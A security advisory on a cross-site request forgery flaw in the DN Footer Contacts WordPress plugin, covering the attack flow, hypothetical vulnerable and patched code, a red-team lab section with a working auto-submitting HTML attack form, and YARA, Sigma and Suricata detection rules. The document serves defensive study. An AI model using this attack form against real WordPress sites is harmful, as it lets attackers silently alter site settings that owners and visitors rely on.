CVE-2025-31839

Executive Summary

CVE-2025-31839 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the DN Footer Contacts WordPress plugin by digireturn, up to and including version 1.8.1. This flaw allows an attacker to forge requests on behalf of an authenticated administrator, potentially leading to unauthorized changes to the plugin’s contact footer settings. The vulnerability has a CVSS v3.1 base score of 4.3 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood in the wild. No public proof-of-concept or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor (digireturn) and apply patches as soon as they become available. Since no patch is currently released, consider disabling the plugin or implementing additional CSRF protections (e.g., nonce validation) as a temporary measure.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – The attacker does not need authentication.
• User Interaction (UI): Required (R) – The victim must click a malicious link or visit a crafted page.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Limited ability to modify plugin settings.
• Availability (A): None (N) – No impact on service availability.

Threat Level: Medium – Exploitation requires user interaction and yields limited impact, but could be chained with other vulnerabilities.

Deep Dive & Mechanics

The DN Footer Contacts plugin provides a simple interface for administrators to manage contact information displayed in the website footer. The CSRF vulnerability arises because the plugin fails to implement proper nonce validation or other anti-CSRF tokens in its administrative actions. An attacker can craft a malicious HTML page or email that, when accessed by an authenticated WordPress admin, triggers an HTTP request to the plugin’s settings endpoint (e.g., /wp-admin/admin-post.php?action=dn_footer_contacts_update). This request modifies the plugin’s configuration without the admin’s consent.

The attack flow:

1. Attacker identifies a target site running the vulnerable plugin.
2. Attacker crafts a CSRF payload (e.g., a hidden form or image tag) that submits a POST request to the plugin’s update endpoint.
3. Attacker lures an authenticated admin to visit the malicious page (e.g., via phishing email or social engineering).
4. The admin’s browser automatically sends the forged request, including the admin’s session cookies.
5. The plugin processes the request, altering the footer contacts (e.g., changing phone numbers, email addresses, or social media links).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to lack CSRF protection. A patched version would include a nonce check.

Vulnerable Code (hypothetical):

// In admin-actions.php
add_action('admin_post_dn_footer_contacts_update', 'dn_footer_contacts_update_handler');
function dn_footer_contacts_update_handler() {
    // No nonce verification
    update_option('dn_footer_contacts_phone', $_POST['phone']);
    update_option('dn_footer_contacts_email', $_POST['email']);
    // ... other fields
    wp_redirect(admin_url('admin.php?page=dn-footer-contacts'));
}

Patched Code (hypothetical):

// In admin-actions.php
add_action('admin_post_dn_footer_contacts_update', 'dn_footer_contacts_update_handler');
function dn_footer_contacts_update_handler() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'dn_footer_contacts_update_nonce')) {
        wp_die('Security check failed.');
    }
    update_option('dn_footer_contacts_phone', sanitize_text_field($_POST['phone']));
    update_option('dn_footer_contacts_email', sanitize_email($_POST['email']));
    // ... other fields
    wp_redirect(admin_url('admin.php?page=dn-footer-contacts'));
}

Exploitation & Lab Setup

Red Team (Attacker)

Lab Environment:

• WordPress 6.x with DN Footer Contacts 1.8.1 installed and activated.
• Attacker machine with a web server to host the CSRF payload.
• Victim browser (e.g., Firefox) logged in as an admin.

Exploitation Steps:

1. Create a malicious HTML file (csrf.html) with the following content:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf-form">
    <input type="hidden" name="action" value="dn_footer_contacts_update">
    <input type="hidden" name="phone" value="+1-555-555-5555">
    <input type="hidden" name="email" value="attacker@evil.com">
    <input type="submit" value="Click me">
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

2. Host the file on the attacker’s server (e.g., http://attacker.com/csrf.html).
3. Send the link to the victim admin via email or social engineering.
4. When the admin visits the page, the form auto-submits, changing the footer contacts.

Blue Team (Defender)

Detection & Prevention:

• Monitor for unexpected changes to WordPress options (e.g., dn_footer_contacts_*).
• Implement Web Application Firewall (WAF) rules to block requests to /wp-admin/admin-post.php without a valid Referer header.
• Enforce CSRF tokens in all admin actions (plugin developer responsibility).
• Use security plugins like Wordfence or Sucuri that add CSRF protection layers.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-post.php with action=dn_footer_contacts_update and unexpected parameter values.
• File: Presence of csrf.html or similar files on the server (if uploaded by attacker).
• Log: WordPress audit logs showing changes to dn_footer_contacts_* options without corresponding admin UI interaction.
• Behavior: Sudden changes to footer contact details (phone, email, address) without admin action.

Detection Engineering

YARA Rule

rule CVE_2025_31839_CSRF_Payload {
    meta:
        description = "Detects CSRF payload targeting DN Footer Contacts plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31839"
    strings:
        $action = "dn_footer_contacts_update"
        $phone = "phone="
        $email = "email="
    condition:
        all of them
}

Sigma Rule

title: CSRF Attempt Against DN Footer Contacts Plugin
id: 8a3f7c2e-5b1d-4e9f-8c6a-2d3e4f5a6b7c
status: experimental
description: Detects HTTP requests targeting the DN Footer Contacts update endpoint without proper CSRF tokens.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=dn_footer_contacts_update'
    condition: selection
falsepositives:
    - Legitimate admin updates (if nonce is present)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-31839 - CSRF Attempt on DN Footer Contacts"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=dn_footer_contacts_update"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the DN Footer Contacts plugin until a patched version is released.
2. Developer Fix: Add nonce verification and capability checks to all admin actions (see patched code example).
3. User Mitigation:
   • Use a Web Application Firewall (WAF) to block requests without a valid Referer.
   • Implement additional CSRF protection via security plugins.
   • Educate administrators to avoid clicking suspicious links while logged in.
4. Monitoring: Enable logging for WordPress admin actions and review for unauthorized changes.

Valters IT
Securing Digital Frontiers